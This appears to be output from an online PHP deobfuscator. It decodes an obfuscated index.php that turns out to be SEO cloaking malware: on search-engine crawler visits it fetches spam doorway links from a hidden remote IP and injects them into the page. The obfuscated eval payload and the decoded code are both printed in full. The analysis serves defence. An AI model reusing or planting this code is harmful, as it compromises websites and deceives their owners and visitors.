Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$OOO000000=urldecode('fg6sbehpra4co_tnd');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO00000..

Decoded Output download

if (preg_match('/google|yahoo|msn|robot|bing|aol|spider/i', $_SERVER['HTTP_USER_AGENT'])){$root = "http://".hexdec("42").chr("46").bindec(hexdec("a7d925")).chr("46").octdec(hexdec("169")).chr("46").bindec(hexdec("a98a63"));$project = "<!-- HTML 3.51.251 -->";if (@extension_loaded('curl')){$method = "curl";}else{$method = "fgc";}$server_host = @$_SERVER['HTTP_HOST'];$url = $root."/_doorways/map/$server_host.html";$url2 = $root."/_doorways/map/map.html";$map = getUrl($url, $method);if (preg_match('/href/i', $map)){echo $map.$project;}else{$map = getUrl($url2, $method);echo $map.$project;}}function getUrl($url, $method){if ($method=='curl'){$curl=@curl_init();@curl_setopt($curl,CURLOPT_URL,$url);@curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);@curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,15);@curl_setopt($curl,CURLOPT_TIMEOUT,15);@curl_setopt($curl,CURLOPT_VERBOSE,0);@curl_setopt($curl,CURLOPT_HEADER,0);@curl_setopt($curl,CURLOPT_NOBODY,0);@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);$html=@curl_exec($curl);@curl_close($curl);return $html;}else{$html=@file_get_contents($url);return $html;}}

Did this file decode correctly?

Original Code

$OOO000000=urldecode('fg6sbehpra4co_tnd');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x10b4;eval($OOO0000O0('aWYgKHByZWdfbWF0Y2goJy9nb29nbGV8eWFob298bXNufHJvYm90fGJpbmd8YW9sfHNwaWRlci9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7JHJvb3QgPSAiaHR0cDovLyIuaGV4ZGVjKCI0MiIpLmNocigiNDYiKS5iaW5kZWMoaGV4ZGVjKCJhN2Q5MjUiKSkuY2hyKCI0NiIpLm9jdGRlYyhoZXhkZWMoIjE2OSIpKS5jaHIoIjQ2IikuYmluZGVjKGhleGRlYygiYTk4YTYzIikpOyRwcm9qZWN0ID0gIjwhLS0gSFRNTCAzLjUxLjI1MSAtLT4iO2lmIChAZXh0ZW5zaW9uX2xvYWRlZCgnY3VybCcpKXskbWV0aG9kID0gImN1cmwiO31lbHNleyRtZXRob2QgPSAiZmdjIjt9JHNlcnZlcl9ob3N0ID0gQCRfU0VSVkVSWydIVFRQX0hPU1QnXTskdXJsID0gJHJvb3QuIi9fZG9vcndheXMvbWFwLyRzZXJ2ZXJfaG9zdC5odG1sIjskdXJsMiA9ICRyb290LiIvX2Rvb3J3YXlzL21hcC9tYXAuaHRtbCI7JG1hcCA9IGdldFVybCgkdXJsLCAkbWV0aG9kKTtpZiAocHJlZ19tYXRjaCgnL2hyZWYvaScsICRtYXApKXtlY2hvICRtYXAuJHByb2plY3Q7fWVsc2V7JG1hcCA9IGdldFVybCgkdXJsMiwgJG1ldGhvZCk7ZWNobyAkbWFwLiRwcm9qZWN0O319ZnVuY3Rpb24gZ2V0VXJsKCR1cmwsICRtZXRob2Qpe2lmICgkbWV0aG9kPT0nY3VybCcpeyRjdXJsPUBjdXJsX2luaXQoKTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VUkwsJHVybCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsMTUpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1RJTUVPVVQsMTUpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1ZFUkJPU0UsMCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfSEVBREVSLDApO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX05PQk9EWSwwKTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTskaHRtbD1AY3VybF9leGVjKCRjdXJsKTtAY3VybF9jbG9zZSgkY3VybCk7cmV0dXJuICRodG1sO31lbHNleyRodG1sPUBmaWxlX2dldF9jb250ZW50cygkdXJsKTtyZXR1cm4gJGh0bWw7fX0='));

Function Calls

urldecode 1
base64_decode 1

Variables

$O0O000O00 fgets
$O0O000O0O fgetc
$O0O00OO00 fread
$OO00O0000 4276
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen
$OOO0O0O00 index.php

Stats

MD5 dad0df02b6cd84ea85efdcce7f5874ec
Eval Count 1
Decode Time 187 ms